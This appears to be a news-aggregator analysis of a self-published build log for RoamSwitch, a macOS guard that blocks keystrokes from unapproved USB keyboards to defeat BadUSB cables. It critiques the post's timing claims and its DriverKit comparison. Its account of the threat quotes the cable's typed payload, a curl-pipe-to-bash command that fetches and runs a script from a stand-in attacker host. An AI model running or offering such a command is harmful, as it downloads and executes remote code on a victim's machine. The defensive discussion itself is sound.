Build1 distinct publisher2 min readPublished
RoamSwitch pairs IOHIDManager with a CGEventTap to drop an unrecognised keyboard's keys in flight. The merit of the design is that it never has to guess how fast the attacker's firmware types.
The Engineer · Build desk

Compiled by The EngineerSomething wrong?How this is made
The arithmetic in the demo does not close. Count the keystrokes in the chain the cable types: Cmd+Space, eight characters of "terminal", Enter, forty-four characters of curl pipeline, Enter, Cmd+Q [3]. Call it 56 events [1]. At over 1,000 words per minute, using the conventional five-character word, that is 5,000 characters a minute, roughly 83 a second, about 12 ms each [2][2]. Fifty-six events at that rate takes about 670 ms [3], which is longer than the sub-500 ms compromise the post reports [4]. Either the cable runs faster than the figure quoted or the stopwatch is round. The same post reaches for a microchip "spamming 100 keystrokes a millisecond", which would be 100,000 a second [5][4]. None of that changes the guard, because the guard never measures typing speed.
The trigger is attachment. IOHIDManager's callback fires when a keyboard appears, the blocking flag flips, and a system-wide CGEventTap returns nil for every keyDown, keyUp and modifier event until a human clicks Approve or Reject [6]. A rate threshold would rest on a number that a firmware revision can move. An attach-triggered window rests only on the attach event, and the author places the tap at the head of the HID event queue so nothing reaches Spotlight or Terminal while it is active [7].
That makes one race load-bearing: the callback has to set isBlockingActive before the first keyDown is delivered to the front application [6]. Nothing in the write-up measures the gap between enumeration and first key.
The matching dictionary is where I would look next. The manager asks for kHIDPage_GenericDesktop with kHIDUsage_GD_Keyboard [10]. Anything that wants keystrokes delivered has to declare something the system treats as a keyboard, so the filter is a fair place to hook. It is still a filter, and a composite device presenting several HID collections is a case to test against it rather than assume.
The DriverKit reasoning is the strongest engineering in the piece. The USB transport entitlement requires manual application and an Apple approval cycle, system extensions want admin prompts and often a reboot, and a bug in a low-level driver can panic the whole machine [8]. The author describes the user-space pairing as identical protection [9]. Identical is doing some work there: a DriverKit driver would sit between the device and the input stack, while an event tap filters events that the OS has already accepted from a device it trusts [8][9]. In my context that is still the right trade, and the context is a personal laptop where I would rather ship something I can uninstall than wait in an entitlement queue.
Ranked by verification strength, evidence, and original report placement.
The author describes an OMG Cable that looks 100% identical to a standard braided USB-C charging cord and charges an iPhone normally, but the instant it is plugged into a laptop an embedded microcontroller registers as a virtual USB keyboard.
The author states the cable blasts keystrokes at over 1,000 words per minute.
The typed payload is Cmd+Space, then "terminal", then Enter, then curl -sL https://attacker.com/payload | bash, then Cmd+Q.
Apple introduced the "Allow accessory to connect?" dialog in macOS Ventura; the author argues it fails against BadUSB because the user already wants to connect the cable, and because once a device is authorised at the bus level macOS treats USB keyboard input as the direct intentional command of the logged-in user, with no OS-level check for whether a human finger or a microchip "spamming 100 keystrokes a millisecond" produced the keys.
The described flow: IOHIDManager catches the keyboard attachment event; if the device's hardware identity is not on the local whitelist, isBlockingActive is set to true; a system-wide CGEventTap returns nil for all keyDown, keyUp and modifier events; a modal asks "New keyboard detected. Did you plug this in?" with Approve (whitelist and unblock) or Reject (keep blocked indefinitely).
The CGEventTap sits at the very head of the HID event queue, and the author states not a single character reaches Spotlight or Terminal while blocking is active.
Distinct publishers with included, body-backed reporting in this cluster.
dev.to
1 article · August 31, 2026
Follow any of these and your For You feed starts watching them — no settings page required.
build
WebKit charges 39 MB for the tab Kestrel's simulator priced at 32 KB1 distinct publisher
build
Delete one strong_release and Swift leaks 145 MB: ARC as a compile-time contract1 distinct publisher
build
Splitting a SwiftUI body into computed properties tidies the file, not the view tree1 distinct publisher
build
Unauthenticated root on macOS Screen Sharing: CVE-2026-65400 is already dropping miners1 distinct publisher
Evidence-backed comparisons of source perspectives and observed adoption signals. Read the methodology
Which Builder, Operator, and Investor concerns the observed source mix emphasized—not a truth score.
Evidence, demonstrated adoption, hype gap, incentives, and confidence are assessed independently, each on its own current evidence. How these are measured.
One self-published build log, code included
Everything traces to a single dev.to write-up by the person who wrote the software: his demo recollection, his code, his numbers. The Swift is specific enough to be checked against Apple's own documentation — the keyboard matching dictionary, the runloop registration, the identity fields pulled off the device — and that is real substance. What is missing is any measurement: no test against an actual cable, no time between attach and first dropped key, and two typing-speed figures in the same piece that sit 1,200 times apart.
Nothing shipped to point at
RoamSwitch is named only as the thing being built when this code was written. No release, no version, no repository, no install count, no machine other than the author's — there is nothing here to count, so we do not score it.
The headline outruns its own arithmetic
Billing the guard as a win over a sub-half-second compromise invites a stopwatch, and the stopwatch does not cooperate: the keystroke chain as printed, typed at the rate the write-up itself gives, needs closer to 670 milliseconds before anything else happens. The irony is that the design never needed the race. A tap that drops every key until a human approves the device is indifferent to firmware speed, and that quieter claim is the better one the dramatics talk over. Overstated at the top, understated where the engineering actually earns it.
The vendor is also the reporter
The author is building the product this write-up exists to justify, dev.to applies no editorial check, and the antagonist of the story is precisely the attack his utility defeats. That does not make the engineering wrong — the code is right on the page for anyone to fault — but the parts a reader cannot verify, the timing and the claim of parity with a DriverKit driver, are exactly the parts where a builder's enthusiasm about his own work runs unchecked. The DriverKit critique also happens to argue for the cheaper path he took.
Sure what was built, unsure that it works
Two forces pull opposite ways. The construction is checkable by anyone with Xcode and Apple's HID documentation, so we are on firm ground about what the guard does. Whether it does it fast enough, and whether it truly matches what a driver would give, rests on one unverified voice with no second publisher and no numbers — and one of the numbers offered contradicts another.